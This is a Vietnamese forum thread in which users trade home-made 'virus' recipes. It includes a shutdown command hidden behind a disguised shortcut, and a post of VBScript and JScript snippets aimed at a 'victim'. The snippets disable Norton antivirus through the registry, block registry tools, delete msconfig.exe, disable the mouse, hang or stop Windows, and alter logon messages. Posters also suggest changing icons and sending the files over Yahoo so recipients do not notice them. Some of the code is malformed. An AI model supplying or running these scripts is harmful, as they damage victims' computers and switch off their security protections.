LE.IK.MOC

đây chỉ là Wordpad thôi chứ hok phải virus thực sự mún tạo virus thì chúng ta phải vào ổ virus rồi lấy ADN và nhân giống virus

__________________

CaptainPrice

Làm j` có ổ nào đc gọi là ổ virus

__________________

dragononline

Thế này thì cho chạy thử kiểu j hả a?

__________________

CaptainPrice

thì cứ mở lên thôi
gọi là virus chứ thật ra nó chỉ thuộc dạng script thôi ko có hại j` đến máy tính đâu

__________________

chimokato

Mình nghĩ chắc lưu ra dạng file chạy "*.exe" bằng notepad nhưng nhìn wa thấy chả có cấu trúc jì ??? Mà làm xong đi nữa thì nó kô có chức năng "autorun" tự chạy và icon bi h người dùng khôn lém bạn ah, thấy tên lạ + icon xấu = kô click vô đâu... có 1 con virus cổ điển đại loại là format hdd được làm ngay bằng pascal ấy, ai làm xong add lên xem thử

__________________

Xăng có thể cạn,lốp có thể mòn. Nhưng số máy số khung thì không bao giờ thay đổi !

!

CaptainPrice

thích thì mình làm 1 con virus = shortcut định dạng **.exe được ngay
mà mấy file định dạng này đổi được icon
chỉ khi gửi qua yahoo có ai để ý sẽ thấy tên là **.Ink và dung lượng file nhỏ. Còn những ai không để ý thì ko biết đc đâu
VD như con virus shutdown.exe

__________________

dragononline

run hộ e cái, chứ làm xong rồi ngồi tự xát còn ko được thì virut này thuộc dạng liệt giường ak?

__________________

CaptainPrice

shutdown.exe -s -t x -c "thong diep canh bao"
đây code virus làm bằng run đấy
Right Mouse > New > Shorcut
con này là virus run đây, ko tin làm thử 1 con mà xem, biểu tượng cũng của run
con này mở lên thì chỉ còn cách ngồi đợi hết thời gian máy tự tắt đi thôi chẳng còn cách nào tắt đi được

__________________

co_don

cho anh em mấy con vỉut chơi nè
Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi:
Dưới đây là code của một số con virus nhỏ dưới dạng VBS:
1.Không cho victim khởi động máy:
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2. Disable NAV:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi ces\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"

3. Hiển thị một message mỗi khi reboot máy:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi nLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "http://allformy.topcities.com"
wsh.RegWrite s1+s3, "Hi ! Toi la TrungWK- Toi den tu Chip&Kitty.tk"

4. Hiển thị một dòng lệnh khi click vào file hay folder:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu Chip&Kitty.tk"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu Chip&Kitty.tk\","Robinhood"

5. Làm cho các trò trên hoạt động bình thường:
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD
Dưới dạng Javascipt :
var wsh;
wsh=new ActiveXObject ("Wscript.shell");

// Winlogon when reboot
var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersio n\\WinLogon\\";
var s2 = "LegalNoticeCaption";
var s3 = "LegalNoticeText";
wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&Kitty.com") ;
//Disable Registry
var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Window s\\CurrentVersion\\";
var s2 = "Policies\\System\\DisableRegistryTools" ;
wsh.RegWrite (s1+s2,0,"REG_DWORD");

//Delete file Msconfig.exe làm cho victim khởi động tới Registry luôn
var fso;
fso=new ActiveXObject("Scripting.FileSystemObject");
var fe=fso.getfile("C:\\windows\\msconfig.exe);
fe.delete true;

//Disable Mouse
wsh.run ("RUNDLL32.EXE mouse,disable");

//Hang up windows
wsh.run ("rundll32 user,disableoemlayer");

__________________
có 1 điều mà cậu sẽ o bao giờ bik được là......(.) 6999 s2 .......6644666 147* 358#